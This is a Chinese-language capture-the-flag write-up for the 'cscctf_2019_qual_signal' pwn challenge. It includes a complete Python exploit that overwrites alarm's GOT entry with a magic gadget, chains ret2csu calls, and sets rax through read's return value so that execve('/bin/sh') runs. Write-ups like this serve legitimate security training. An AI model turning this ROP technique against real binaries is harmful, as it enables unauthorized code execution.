cscctf_2019_qual_signal
cscctf_2019_qual_signal
总结
- 没开pie,got表可写的时候,用magic gadget会有很好的效果
- 多次调用ret2csu的时候注意利用重叠部分缩减payload
- 可以通过read的返回值存储在rax来通过输入控制rax
题目分析
$ checksec cscctf_2019_qual_signal
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
简单一看除了NX基本都没开
逆向分析
点进来就是一个栈溢出
但是只有read,我们需要考虑如何利用,然后简单观察一下,发现有alarm,那么我们便可以通过alarm + 0x5来调用syscall。
漏洞利用
梳理一下我们可以干啥
- got表可写
- 可以通过alarm调用syscall
- 可以ret2csu
- magic gadget可以使用
这时候我们会发现,可以通过改alarm的got来实现syscall,但是...rax怎么处理呢?!
答案是通过read输入字节控制rax。那么思路很明显了,如下:
- 利用magic gadget修改alarm的got
- ret2csu在bss写/bin/sh\x00 + 任意字符(达到59个即可),目的是rax = 59,然后ret2csu布置好rdi,rsi,rdx再调用alarm(注意第二次ret2csu与第一次有重叠的部分,我们可以利用这部分来缩减payload),此时rax为59,所以syscall调用的是sys_execve
- getshell
EXP
#!/usr/bin/env python3
'''
Author: 7resp4ss
Date: 2022-12-24 00:33:54
LastEditTime: 2022-12-24 01:15:19
Description:
'''
from pwncli import *
cli_script()
io = gift["io"]
elf = gift["elf"]
libc = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
mgg = 0x0000000000400618
def write_by_magic(gg,addr,val):
pd = flat(
{
0x0:[
0x40074A,
val,
addr + 0x3d,
[0]*4,
gg
]
}
)
return bytes(pd)
'''
====================================================
0x000000000040074c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040074e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400750 : pop r14 ; pop r15 ; ret
0x0000000000400752 : pop r15 ; ret
0x000000000040074b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040074f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005b8 : pop rbp ; ret
0x0000000000400753 : pop rdi ; ret
0x0000000000400751 : pop rsi ; pop r15 ; ret
0x000000000040074d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040028a : ret
'''
bss_addr = 0x601000 + 0xf00
pd = flat(
{
0x108:[
write_by_magic(mgg,elf.got.alarm,0x5),
#ret2csu to make rax = 0x3b
[
0x40074A,
0,
1,
elf.got.read,
0,
bss_addr,
0x3c,
0x400730,
[0xdeadbeef],
0,
1,
elf.got.alarm,
bss_addr,
0,
0,
#call execve
0x400730
],
]
}
)
sl(pd)
sleep(1)
pd = flat('/bin/sh\x00',length=59)
s(pd)
io.interactive()